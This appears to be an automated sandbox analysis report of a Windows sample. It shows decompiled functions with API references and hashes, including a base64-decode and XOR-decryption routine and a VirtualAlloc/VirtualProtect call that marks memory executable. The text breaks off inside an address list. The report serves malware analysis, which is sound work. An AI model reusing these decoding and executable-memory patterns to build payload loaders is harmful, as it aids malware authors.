Similarity

API ID: getenv$ComputerNameSleepsignal
String ID:
API String ID: 4057079501-0
Opcode ID: fd48d421362ee78bdf9fb19e7fbfb9c32913889febecf3832a348e695c0b5d8f
Instruction ID: 212ce0c50725b5cac99891dc692dfaa2d95a475dc0e1655ce306eef6e3c1829f
Opcode Fuzzy Hash: fd48d421362ee78bdf9fb19e7fbfb9c32913889febecf3832a348e695c0b5d8f
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 1000829F, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E1000829F(signed char __edx, int _a4) {
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed char _v44;
				signed int _v48;
				void* _t51;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t82;
				intOrPtr* _t84;
				signed char _t85;
				intOrPtr* _t87;
				signed char _t97;
				intOrPtr* _t99;
				signed int _t102;
				signed int _t105;
				void* _t111;
				void* _t112;
				void* _t114;

				_t97 = __edx;
				while(1) {
					_t51 = malloc(_a4); // executed
					if(_t51 != 0) {
						return _t51;
					}
					_push(_a4);
					L1000924B();
					if(_t51 == 0) {
						if(_a4 != 0xffffffff) {
							_push(_t111);
							_t111 = _t114;
							_t114 = _t114 - 0xc;
							E10008CDE( &_v20);
							_push(0x1000b774);
							_push( &_v20);
							L10009233();
							asm("int3");
						}
						_push(_t111);
						_t112 = _t114;
						E10008D11( &_v20);
						_push(0x1000b7ac);
						_push( &_v20);
						L10009233();
						asm("int3");
						_push(_t112);
						 *0x1000d598 =  *0x1000d598 & 0x00000000;
						 *0x1000d00c =  *0x1000d00c | 1;
						if(IsProcessorFeaturePresent(0xa) != 0) {
							_v28 = _v28 & 0x00000000;
							 *0x1000d00c =  *0x1000d00c | 0x00000002;
							 *0x1000d598 = 1;
							_t99 =  &_v48;
							_push(1);
							asm("cpuid");
							_pop(_t82);
							 *_t99 = 0;
							 *((intOrPtr*)(_t99 + 4)) = 1;
							 *((intOrPtr*)(_t99 + 8)) = 0;
							 *(_t99 + 0xc) = _t97;
							_v24 = _v48;
							_v20 = _v36 ^ 0x49656e69;
							_v16 = _v44 ^ 0x756e6547;
							_push(1);
							asm("cpuid");
							_t84 =  &_v48;
							 *_t84 = 1;
							 *((intOrPtr*)(_t84 + 4)) = _t82;
							 *((intOrPtr*)(_t84 + 8)) = 0;
							 *(_t84 + 0xc) = _t97;
							if((_v16 | _v40 ^ 0x6c65746e | _v20) != 0) {
								L17:
								_t102 =  *0x1000d59c; // 0x2
							} else {
								_t75 = _v48 & 0x0fff3ff0;
								if(_t75 == 0x106c0 || _t75 == 0x20660 || _t75 == 0x20670 || _t75 == 0x30650 || _t75 == 0x30660 || _t75 == 0x30670) {
									_t105 =  *0x1000d59c; // 0x2
									_t102 = _t105 | 0x00000001;
									 *0x1000d59c = _t102;
								} else {
									goto L17;
								}
							}
							_t67 = _v40;
							_v16 = _t67;
							if(_v24 < 7) {
								_t85 = _v28;
							} else {
								_t73 = 7;
								_push(_t84);
								asm("cpuid");
								_t87 =  &_v48;
								 *_t87 = _t73;
								_t67 = _v16;
								 *((intOrPtr*)(_t87 + 4)) = _t84;
								 *((intOrPtr*)(_t87 + 8)) = 0;
								 *(_t87 + 0xc) = _t97;
								_t85 = _v44;
								if((_t85 & 0x00000200) != 0) {
									 *0x1000d59c = _t102 | 0x00000002;
								}
							}
							if((_t67 & 0x00100000) != 0) {
								 *0x1000d00c =  *0x1000d00c | 0x00000004;
								 *0x1000d598 = 2;
								if((_t67 & 0x08000000) != 0 && (_t67 & 0x10000000) != 0) {
									asm("xgetbv");
									_v32 = _t67;
									_v28 = _t97;
									if((_v32 & 0x00000006) == 6) {
										_t70 =  *0x1000d00c; // 0x2f
										_t71 = _t70 | 0x00000008;
										 *0x1000d598 = 3;
										 *0x1000d00c = _t71;
										if((_t85 & 0x00000020) != 0) {
											 *0x1000d598 = 5;
											 *0x1000d00c = _t71 | 0x00000020;
										}
									}
								}
							}
						}
						return 0;
					} else {
						continue;
					}
					break;
				}
			}

0x1000829f
0x100082b1
0x100082b4
0x100082bc
0x100082bf
0x100082bf
0x100082a4
0x100082a7
0x100082af
0x100082c4
0x10008d67
0x10008d68
0x10008d6a
0x10008d70
0x10008d75
0x10008d7d
0x10008d7e
0x10008d83
0x10008d83
0x10008d84
0x10008d85
0x10008d8d
0x10008d92
0x10008d9a
0x10008d9b
0x10008da0
0x10008da1
0x10008da4
0x10008db2
0x10008dc1
0x10008dc7
0x10008dcd
0x10008dd8
0x10008dde
0x10008de1
0x10008de2
0x10008de6
0x10008de7
0x10008de9
0x10008dec
0x10008df1
0x10008dfa
0x10008e0b
0x10008e16
0x10008e1c
0x10008e1d
0x10008e22
0x10008e25
0x10008e2a
0x10008e32
0x10008e35
0x10008e38
0x10008e7d
0x10008e7d
0x10008e3a
0x10008e3d
0x10008e47
0x10008e6c
0x10008e72
0x10008e75
0x00000000
0x00000000
0x00000000
0x10008e47
0x10008e87
0x10008e8a
0x10008e8d
0x10008ec1
0x10008e8f
0x10008e91
0x10008e94
0x10008e95
0x10008e9a
0x10008e9d
0x10008e9f
0x10008ea2
0x10008ea5
0x10008ea8
0x10008eab
0x10008eb4
0x10008eb9
0x10008eb9
0x10008eb4
0x10008ecb
0x10008ecd
0x10008ed4
0x10008ee3
0x10008eee
0x10008ef1
0x10008ef4
0x10008f03
0x10008f05
0x10008f0a
0x10008f0d
0x10008f17
0x10008f1f
0x10008f24
0x10008f2e
0x10008f2e
0x10008f1f
0x10008f03
0x10008ee3
0x10008ecb
0x10008f39
0x00000000
0x00000000
0x00000000
0x00000000
0x100082af

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082A7
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4
_CxxThrowException.VCRUNTIME140(10003B99,1000B774,10003B99), ref: 10008D7E
_CxxThrowException.VCRUNTIME140(10003B99,1000B7AC,10003B99), ref: 10008D9B

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: e038fc9c4bf557aaabccf91a251ecacc626a1b111a992e11d43ee22dfca7c3bf
Instruction ID: b4c962d27dd8c0a0cdcc4a11a3a4f5d3b823fce3480cc4f90ae7c20ef3137624
Opcode Fuzzy Hash: e038fc9c4bf557aaabccf91a251ecacc626a1b111a992e11d43ee22dfca7c3bf
Instruction Fuzzy Hash: C8F0543880460DB6AF04EAA4EC4699D776CEF002D0F504221B954954D9EF70FB5586D1

Uniqueness

Uniqueness Score: -1.00%

Function 10006CC0, Relevance: 4.6, APIs: 3, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E10006CC0(void* __ebx, void** __ecx, signed int __edx, void* _a4, int _a8) {
				void* _v8;
				void* _v12;
				unsigned int _v16;
				void* _t29;
				unsigned int* _t31;
				void* _t35;
				void* _t38;
				unsigned int _t40;
				void* _t42;
				void* _t46;
				signed int _t54;
				void* _t55;
				void* _t56;
				void* _t58;
				unsigned int _t61;
				signed int _t65;
				void* _t66;
				signed int _t67;
				intOrPtr _t68;
				void* _t70;
				int _t73;
				intOrPtr* _t74;
				void** _t79;
				unsigned int _t81;
				void* _t89;
				void* _t90;

				_t67 = __edx;
				_t90 = _t89 - 0xc;
				_t29 = _a4;
				_t79 = __ecx;
				_v12 = _t29;
				_t73 = _a8;
				_t61 = __ecx[5];
				_v16 = _t61;
				if(_t73 > _t61) {
					__eflags = _t73 - 0x7fffffff;
					if(_t73 > 0x7fffffff) {
						L23:
						L10007BD0(_t61);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t73);
						_t74 =  *((intOrPtr*)(_t61 + 0xc));
						_t31 = _t61 + 0x3c;
						__eflags =  *_t74 - _t31;
						if( *_t74 == _t31) {
							_t68 =  *((intOrPtr*)(_t61 + 0x50));
							_push(_t79);
							 *_t74 = _t68;
							_t81 =  *((intOrPtr*)(_t61 + 0x54)) - _t68;
							__eflags = _t81;
							 *((intOrPtr*)( *((intOrPtr*)(_t61 + 0x1c)))) = _t68;
							_t31 =  *(_t61 + 0x2c);
							 *_t31 = _t81;
						}
						return _t31;
					} else {
						_t54 = _t73 | 0x0000000f;
						__eflags = _t54 - 0x7fffffff;
						if(__eflags <= 0) {
							_t67 = _t61 >> 1;
							__eflags = _t61 - 0x7fffffff - _t67;
							if(__eflags <= 0) {
								_t35 = _t67 + _t61;
								__eflags = _t54 - _t35;
								_t55 =  <  ? _t35 : _t54;
							} else {
								_t55 = 0x7fffffff;
							}
						} else {
							_t55 = 0x7fffffff;
						}
						_t65 =  ~(0 | __eflags > 0x00000000) | _t55 + 0x00000001;
						__eflags = _t65 - 0x1000;
						if(_t65 < 0x1000) {
							__eflags = _t65;
							if(_t65 == 0) {
								_t38 = 0;
								__eflags = 0;
							} else {
								_push(_t65); // executed
								_t38 = E1000829F(_t67); // executed
								_t90 = _t90 + 4;
							}
							goto L16;
						} else {
							_t11 = _t65 + 0x23; // 0x23
							_t46 = _t11;
							__eflags = _t46 - _t65;
							_t47 =  <=  ? _t67 | 0xffffffff : _t46;
							_push( <=  ? _t67 | 0xffffffff : _t46);
							_t61 = E1000829F(_t67 | 0xffffffff);
							_t90 = _t90 + 4;
							__eflags = _t61;
							if(_t61 == 0) {
								L22:
								__imp___invalid_parameter_noinfo_noreturn();
								goto L23;
							} else {
								_t12 = _t61 + 0x23; // 0x23
								_t38 = _t12 & 0xffffffe0;
								 *(_t38 - 4) = _t61;
								L16:
								_v8 = _t38;
								_t79[4] = _t73;
								_t79[5] = _t55;
								memcpy(_t38, _v12, _t73);
								_t56 = _v8;
								_t40 = _v16;
								 *((char*)(_t56 + _t73)) = 0;
								__eflags = _t40 - 0x10;
								if(_t40 < 0x10) {
									L21:
									 *_t79 = _t56;
									return _t79;
								} else {
									_t21 = _t40 + 1; // 0x10003b9a
									_t66 = _t21;
									_t42 =  *_t79;
									__eflags = _t66 - 0x1000;
									if(_t66 < 0x1000) {
										L20:
										_push(_t66);
										E10008291(_t42, _t42);
										goto L21;
									} else {
										_t22 = _t42 - 4; // 0x3127
										_t70 =  *_t22;
										_t61 = _t66 + 0x23;
										__eflags = _t42 - _t70 + 0xfffffffc - 0x1f;
										if(_t42 - _t70 + 0xfffffffc > 0x1f) {
											goto L22;
										} else {
											_t42 = _t70;
											goto L20;
										}
									}
								}
							}
						}
					}
				} else {
					_t58 = __ecx;
					if(_t61 >= 0x10) {
						_t58 =  *__ecx;
					}
					_t79[4] = _t73;
					memmove(_t58, _t29, _t73);
					 *((char*)(_t58 + _t73)) = 0;
					return _t79;
				}
			}

0x10006cc0
0x10006cc3
0x10006cc6
0x10006ccb
0x10006ccd
0x10006cd1
0x10006cd4
0x10006cd7
0x10006cdc
0x10006d04
0x10006d0a
0x10006def
0x10006def
0x10006df4
0x10006df5
0x10006df6
0x10006df7
0x10006df8
0x10006df9
0x10006dfa
0x10006dfb
0x10006dfc
0x10006dfd
0x10006dfe
0x10006dff
0x10006e00
0x10006e01
0x10006e04
0x10006e07
0x10006e09
0x10006e0b
0x10006e0e
0x10006e12
0x10006e14
0x10006e14
0x10006e19
0x10006e1b
0x10006e1e
0x10006e20
0x10006e22
0x10006d10
0x10006d12
0x10006d15
0x10006d1b
0x10006d2b
0x10006d2f
0x10006d31
0x10006d3a
0x10006d3d
0x10006d3f
0x10006d33
0x10006d33
0x10006d33
0x10006d1d
0x10006d1d
0x10006d1d
0x10006d4e
0x10006d50
0x10006d56
0x10006d7d
0x10006d7f
0x10006d8c
0x10006d8c
0x10006d81
0x10006d81
0x10006d82
0x10006d87
0x10006d87
0x00000000
0x10006d58
0x10006d58
0x10006d58
0x10006d5e
0x10006d60
0x10006d63
0x10006d69
0x10006d6b
0x10006d6e
0x10006d70
0x10006de9
0x10006de9
0x00000000
0x10006d72
0x10006d72
0x10006d75
0x10006d78
0x10006d8e
0x10006d92
0x10006d96
0x10006d99
0x10006d9c
0x10006da1
0x10006da7
0x10006daa
0x10006dae
0x10006db1
0x10006ddc
0x10006ddd
0x10006de6
0x10006db3
0x10006db3
0x10006db3
0x10006db6
0x10006db8
0x10006dbe
0x10006dd2
0x10006dd2
0x10006dd4
0x00000000
0x10006dc0
0x10006dc0
0x10006dc0
0x10006dc3
0x10006dcb
0x10006dce
0x00000000
0x10006dd0
0x10006dd0
0x00000000
0x10006dd0
0x10006dce
0x10006dbe
0x10006db1
0x10006d70
0x10006d56
0x10006cde
0x10006cde
0x10006ce3
0x10006ce5
0x10006ce5
0x10006cea
0x10006ced
0x10006cf5
0x10006d01
0x10006d01

APIs

memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED
memcpy.VCRUNTIME140(00000000,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006D9C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006DE9

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemcpymemmove
String ID:
API String ID: 3624149045-0
Opcode ID: 05cf0cf5fa1e92576b4ad7e33de3f15b10c329ee3e5e492f76c655b142e77653
Instruction ID: 3894a216c9d655568e4ce0b3c0df69ff5ed176e4588dfc993715cc4ab7cf20d9
Opcode Fuzzy Hash: 05cf0cf5fa1e92576b4ad7e33de3f15b10c329ee3e5e492f76c655b142e77653
Instruction Fuzzy Hash: E8310371F002009BE714DF78DC8596DB7EAEB492A0B30072FE966CB395DA719E408751

Uniqueness

Uniqueness Score: -1.00%

Function 031E1313, Relevance: 3.1, APIs: 2, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 031E1331
VirtualProtect.KERNELBASE(?,?,00000040,?,00000000), ref: 031E137A

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction ID: af5e9314fcff3e120e82e84c2fc07e076f3645528a826f8a2c9ec5ab74d08f03
Opcode Fuzzy Hash: ad3e9e191640d8f17585186ff85a764063504bfb5ddd7cc463d2a8a0e43b4edb
Instruction Fuzzy Hash: 61217472514200FFFF05DFA0C895BE97BA5EF0C310F1940AEED096E159CB7259209BA8

Uniqueness

Uniqueness Score: -1.00%

Function 10001060, Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.VCRUNTIME140(?,?), ref: 1000107E

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __std_exception_copy
String ID:
API String ID: 592178966-0
Opcode ID: ae3b1d40aec20912bb2876a67e38c359ef8a5e1f5a6b43aa3e8889a91619a52a
Instruction ID: 177e573ec63202b5c824ebc70269ed67dcf0f06d15f3e82209c6494bbdaedddd
Opcode Fuzzy Hash: ae3b1d40aec20912bb2876a67e38c359ef8a5e1f5a6b43aa3e8889a91619a52a
Instruction Fuzzy Hash: 26D05E729202189BD600DF9CDC44986B79CDF176957448336F604E7200E6B1E9D087A4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 100090EE, Relevance: 6.0, APIs: 4, Instructions: 26
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100090EE() {
				void* _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				GetSystemTimeAsFileTime( &_v16);
				_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
				_v8 = _v8 ^ GetCurrentThreadId();
				_v8 = _v8 ^ GetCurrentProcessId();
				QueryPerformanceCounter( &_v24);
				return _v20 ^ _v24.LowPart ^ _v8 ^  &_v8;
			}

0x100090f4
0x100090fb
0x10009100
0x1000910c
0x10009115
0x1000911e
0x10009125
0x1000913c

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 10009100
GetCurrentThreadId.KERNEL32 ref: 1000910F
GetCurrentProcessId.KERNEL32 ref: 10009118
QueryPerformanceCounter.KERNEL32(?), ref: 10009125

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 92fa65a40730bdc751819db3b7e5875d360d36ec0527d324778c30a322591491
Instruction ID: f20600a6d8a4d0d9bee0fc4ab4a8dc02b68feff1fdee3217003050f1fb03bf25
Opcode Fuzzy Hash: 92fa65a40730bdc751819db3b7e5875d360d36ec0527d324778c30a322591491
Instruction Fuzzy Hash: 7BF09DB0C1020CEBDB00DBB4C989A9EBBF8FF08301F518995E501E7110E638AB448B51

Uniqueness

Uniqueness Score: -1.00%

Function 100016E0, Relevance: 4.0, APIs: 3, Instructions: 248
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E100016E0(signed int* __ecx, intOrPtr* __edx, char _a16, signed char _a20, char _a24, signed int _a40, intOrPtr _a44) {
				char _v0;
				signed int _v8;
				char _v12;
				signed int* _v16;
				signed int* _v20;
				signed int _v24;
				intOrPtr _v25;
				signed char _v26;
				signed char _v28;
				char _v30;
				char _v31;
				char _v32;
				intOrPtr* _v36;
				signed char _v40;
				int _v44;
				char _v48;
				signed int* _v52;
				char _v60;
				char _v76;
				char _v84;
				signed int _v88;
				intOrPtr* _v92;
				char _v96;
				intOrPtr* _v128;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t143;
				signed int* _t146;
				intOrPtr* _t149;
				void* _t150;
				intOrPtr _t151;
				intOrPtr* _t152;
				int _t153;
				signed int _t154;
				signed char _t156;
				signed int _t159;
				intOrPtr* _t162;
				signed int _t166;
				intOrPtr _t174;
				signed char _t188;
				intOrPtr _t189;
				intOrPtr* _t193;
				intOrPtr* _t196;
				signed int _t197;
				intOrPtr* _t198;
				int _t200;
				signed int _t201;
				signed char _t202;
				intOrPtr* _t207;
				signed char _t210;
				void* _t214;
				signed int* _t215;
				intOrPtr* _t216;
				signed char _t218;
				void* _t220;
				signed int _t221;
				intOrPtr* _t225;
				int _t226;
				intOrPtr _t234;
				char _t238;
				char _t239;
				intOrPtr _t243;
				int _t244;
				void* _t246;
				int _t247;
				intOrPtr* _t254;
				signed char _t259;
				intOrPtr _t262;
				signed char _t263;
				intOrPtr _t264;
				void* _t265;
				void* _t266;
				signed char _t274;
				intOrPtr _t277;
				intOrPtr* _t279;
				signed int _t281;
				intOrPtr _t283;
				void* _t284;
				void* _t286;
				void* _t288;
				char _t290;
				void* _t291;
				void* _t292;
				signed int _t293;
				void* _t295;
				signed int _t296;
				void* _t297;
				void* _t321;

				_t254 = __edx;
				_push(0xffffffff);
				_push(E100093D9);
				_push( *[fs:0x0]);
				_t296 = _t295 - 0x24;
				_t143 =  *0x1000d004; // 0x98f8ac3b
				_push(_t143 ^ _t293);
				 *[fs:0x0] =  &_v16;
				_v36 = __edx;
				_t279 = __ecx;
				_v20 = __ecx;
				_v48 = 0;
				_t210 = 0;
				_t146 =  *((intOrPtr*)(__edx + 0x10));
				_t286 = 0;
				__ecx[4] = 0;
				__ecx[5] = 0xf;
				_v52 = __ecx;
				_v40 = 0;
				 *__ecx = 0;
				_v8 = 0;
				_v48 = 1;
				if(_t146 == 0) {
					L45:
					 *[fs:0x0] = _v16;
					return _t279;
				} else {
					while(1) {
						_t225 =  *((intOrPtr*)(_t254 + 0x14));
						_v20 = _t146 - 1;
						_t149 = _t254;
						if(_t225 >= 0x10) {
							_t149 =  *_t254;
						}
						if( *((char*)(_t149 + _t210)) == 0x3d) {
							break;
						}
						_t196 = _t254;
						if(_t225 >= 0x10) {
							_t196 =  *_t254;
						}
						_t210 =  *((intOrPtr*)(_t196 + _t210));
						_t197 = _t210 & 0x000000ff;
						__imp__isalnum(_t197);
						_t296 = _t296 + 4;
						if(_t197 != 0 || _t210 == 0x2b || _t210 == 0x2f) {
							_t254 = _v36;
							_t198 = _t254;
							if( *((intOrPtr*)(_t254 + 0x14)) >= 0x10) {
								_t198 =  *_t254;
							}
							_t218 = _v40;
							_t210 = _t218 + 1;
							 *((char*)(_t293 + _t286 - 0x18)) =  *((intOrPtr*)(_t198 + _t218));
							_t286 = _t286 + 1;
							_v40 = _t210;
							if(_t286 == 4) {
								_t247 =  *0x1000d028; // 0x40
								_t291 = 0;
								do {
									_t200 =  *(_t293 + _t291 - 0x18);
									_t220 =  >=  ?  *0x1000d018 : 0x1000d018;
									if(_t247 == 0) {
										L16:
										_t201 = _t200 | 0xffffffff;
									} else {
										_t200 = memchr(0x1000d018, _t200, _t247);
										_t296 = _t296 + 0xc;
										if(_t200 == 0) {
											goto L16;
										} else {
											_t201 = _t200 - 0x1000d018;
										}
									}
									_t247 =  *0x1000d028; // 0x40
									 *(_t293 + _t291 - 0x18) = _t201;
									_t291 = _t291 + 1;
								} while (_t291 < 4);
								_t202 = _v28;
								_v32 = (_t202 >> 0x00000004 & 0x00000003) + (_t202 << 2);
								_t274 = _v26;
								_v31 = (_t274 >> 0x00000002 & 0x0000000f) + (_t202 << 4);
								_t292 = 0;
								_v30 = (_t274 << 6) + _v25;
								do {
									_t221 =  *((intOrPtr*)(_t293 + _t292 - 0x1c));
									_t225 =  *((intOrPtr*)(_t279 + 0x10));
									_t277 =  *((intOrPtr*)(_t279 + 0x14));
									_v24 = _t221;
									if(_t225 >= _t277) {
										_push(_v24);
										_v44 = 0;
										_push(_v44);
										_t225 = _t279;
										E10007740(_t221, _t225, _t279, _t225);
									} else {
										 *((intOrPtr*)(_t279 + 0x10)) = _t225 + 1;
										_t207 = _t279;
										if(_t277 >= 0x10) {
											_t207 =  *_t279;
										}
										 *(_t207 + _t225) = _t221;
										 *((char*)(_t207 + _t225 + 1)) = 0;
									}
									_t292 = _t292 + 1;
								} while (_t292 < 3);
								_t254 = _v36;
								_t286 = 0;
								_t210 = _v40;
							}
							_t146 = _v20;
							if(_t146 != 0) {
								continue;
							}
						}
						break;
					}
					if(_t286 == 0) {
						goto L45;
					} else {
						_t150 = _t286;
						if(_t286 >= 4) {
							L32:
							_t226 =  *0x1000d028; // 0x40
							_t151 = 0;
							_v36 = 0;
							do {
								_t152 = _t151 +  &_v28;
								_v20 = _t152;
								_t214 =  >=  ?  *0x1000d018 : 0x1000d018;
								_t153 =  *_t152;
								if(_t226 == 0) {
									L36:
									_t154 = _t153 | 0xffffffff;
								} else {
									_t153 = memchr(0x1000d018, _t153, _t226);
									_t296 = _t296 + 0xc;
									if(_t153 == 0) {
										goto L36;
									} else {
										_t154 = _t153 - 0x1000d018;
									}
								}
								 *_v20 = _t154;
								_t226 =  *0x1000d028; // 0x40
								_t151 = _v36 + 1;
								_v36 = _t151;
							} while (_t151 < 4);
							_t156 = _v28;
							_v32 = (_t156 >> 0x00000004 & 0x00000003) + (_t156 << 2);
							_t259 = _v26;
							_t61 = _t286 - 1; // -1
							_t159 = _t61;
							_v31 = (_t259 >> 0x00000002 & 0x0000000f) + (_t156 << 4);
							_t288 = 0;
							_v30 = (_t259 << 6) + _v25;
							_v24 = _t159;
							if(_t159 > 0) {
								do {
									_t215 =  *((intOrPtr*)(_t293 + _t288 - 0x1c));
									_t234 =  *((intOrPtr*)(_t279 + 0x10));
									_t262 =  *((intOrPtr*)(_t279 + 0x14));
									_v20 = _t215;
									if(_t234 >= _t262) {
										_push(_v20);
										_v44 = 0;
										_push(_v44);
										E10007740(_t215, _t279, _t279, _t234);
									} else {
										 *((intOrPtr*)(_t279 + 0x10)) = _t234 + 1;
										_t162 = _t279;
										if(_t262 >= 0x10) {
											_t162 =  *_t279;
										}
										 *(_t162 + _t234) = _t215;
										 *((char*)(_t162 + _t234 + 1)) = 0;
									}
									_t288 = _t288 + 1;
								} while (_t288 < _v24);
							}
							goto L45;
						} else {
							_t321 = _t150 - 4;
							while(_t321 < 0) {
								 *((char*)(_t293 + _t150 - 0x18)) = 0;
								_t150 = _t150 + 1;
								if(_t150 < 4) {
									continue;
								} else {
									goto L32;
								}
								goto L68;
							}
							E10008756();
							asm("int3");
							asm("int3");
							_push(_t293);
							_push(0xffffffff);
							_push(E10009431);
							_push( *[fs:0x0]);
							_t297 = _t296 - 0x2c;
							_push(_t210);
							_push(_t286);
							_push(_t279);
							_t166 =  *0x1000d004; // 0x98f8ac3b
							_push(_t166 ^ _t296);
							 *[fs:0x0] =  &_v84;
							_t216 = _t225;
							_v92 = _t216;
							_v128 = _t216;
							_v96 = 0;
							_v76 = 2;
							 *((intOrPtr*)(_t216 + 0x10)) = 0;
							 *(_t216 + 0x14) = 0xf;
							 *_t216 = 0;
							E10006CC0(_t216, _t225, _t254, 0x1000a2e5, 0);
							_t281 = 0;
							_v96 = 1;
							_v88 = 0;
							if(_v48 <= 0) {
								L58:
								_t263 = _a20;
								if(_t263 < 0x10) {
									L62:
									_t264 = _a44;
									_a16 = 0;
									_a20 = 0xf;
									_v0 = 0;
									if(_t264 >= 0x10) {
										_t238 = _a24;
										_t265 = _t264 + 1;
										_t171 = _t238;
										if(_t265 >= 0x1000) {
											_t238 =  *((intOrPtr*)(_t238 - 4));
											_t265 = _t265 + 0x23;
											if(_t171 > 0x1f) {
												goto L65;
											}
										}
										goto L66;
									}
								} else {
									_t239 = _v0;
									_t266 = _t263 + 1;
									_t174 = _t239;
									if(_t266 < 0x1000) {
										L61:
										_push(_t266);
										E10008291(_t174, _t239);
										_t297 = _t297 + 8;
										goto L62;
									} else {
										_t134 = _t239 - 4; // 0xffffd46a
										_t238 =  *_t134;
										_t265 = _t266 + 0x23;
										_t171 = _t174 - _t238 + 0xfffffffc;
										if(_t174 - _t238 + 0xfffffffc > 0x1f) {
											goto L65;
										} else {
											goto L61;
										}
									}
								}
							} else {
								do {
									_v44 = 0;
									_v40 = 0xf;
									_v60 = 0;
									_t241 =  >=  ? _v0 :  &_v0;
									_t180 =  >=  ? _a24 :  &_a24;
									E10006B80(_t216,  &_v60, _t281 % _a40, 1, ( *(( >=  ? _a24 :  &_a24) + _t281 % _a40) ^  *(( >=  ? _v0 :  &_v0) + _t281)) & 0x000000ff);
									_v12 = 3;
									_t243 =  *((intOrPtr*)(_t216 + 0x10));
									_t290 = _v60;
									_t265 =  >=  ? _t290 :  &_v60;
									_v36 = _t243;
									_t244 = _v44;
									if(_t244 >  *(_t216 + 0x14) - _t243) {
										_push(_t244);
										_push(_t265);
										_v28 = 0;
										_push(_v28);
										E100079E0(_t216, _t216, _t281, _t244);
										_t290 = _v60;
									} else {
										_t283 = _v36;
										 *((intOrPtr*)(_t216 + 0x10)) = _t244 + _t283;
										_t193 = _t216;
										if( *(_t216 + 0x14) >= 0x10) {
											_t193 =  *_t216;
										}
										_t284 = _t283 + _t193;
										memmove(_t284, _t265, _t244);
										_t297 = _t297 + 0xc;
										 *((char*)(_t284 + _v44)) = 0;
										_t281 = _v24;
									}
									_v12 = 2;
									_t188 = _v40;
									if(_t188 < 0x10) {
										goto L57;
									} else {
										_t128 = _t188 + 1; // 0x11
										_t246 = _t128;
										_t189 = _t290;
										if(_t246 < 0x1000) {
											L56:
											_push(_t246);
											E10008291(_t189, _t290);
											_t297 = _t297 + 8;
											goto L57;
										} else {
											_t290 =  *((intOrPtr*)(_t290 - 4));
											_t238 = _t246 + 0x23;
											_t171 = _t189 - _t290 + 0xfffffffc;
											if(_t189 - _t290 + 0xfffffffc > 0x1f) {
												L65:
												__imp___invalid_parameter_noinfo_noreturn();
												L66:
												_push(_t265);
												E10008291(_t171, _t238);
											} else {
												goto L56;
											}
										}
									}
									goto L67;
									L57:
									_t281 = _t281 + 1;
									_v24 = _t281;
								} while (_t281 < _a16);
								goto L58;
							}
							L67:
							 *[fs:0x0] = _v20;
							return _t216;
						}
					}
				}
				L68:
			}

0x100016e0
0x100016e3
0x100016e5
0x100016f0
0x100016f1
0x100016f7
0x100016fe
0x10001702
0x10001708
0x1000170b
0x1000170d
0x10001710
0x10001717
0x10001719
0x1000171c
0x1000171e
0x10001721
0x10001728
0x1000172b
0x1000172e
0x10001730
0x10001733
0x1000173c
0x10001995
0x1000199a
0x100019a8
0x10001742
0x10001742
0x10001742
0x10001746
0x10001749
0x1000174e
0x10001750
0x10001750
0x10001756
0x00000000
0x00000000
0x1000175c
0x10001761
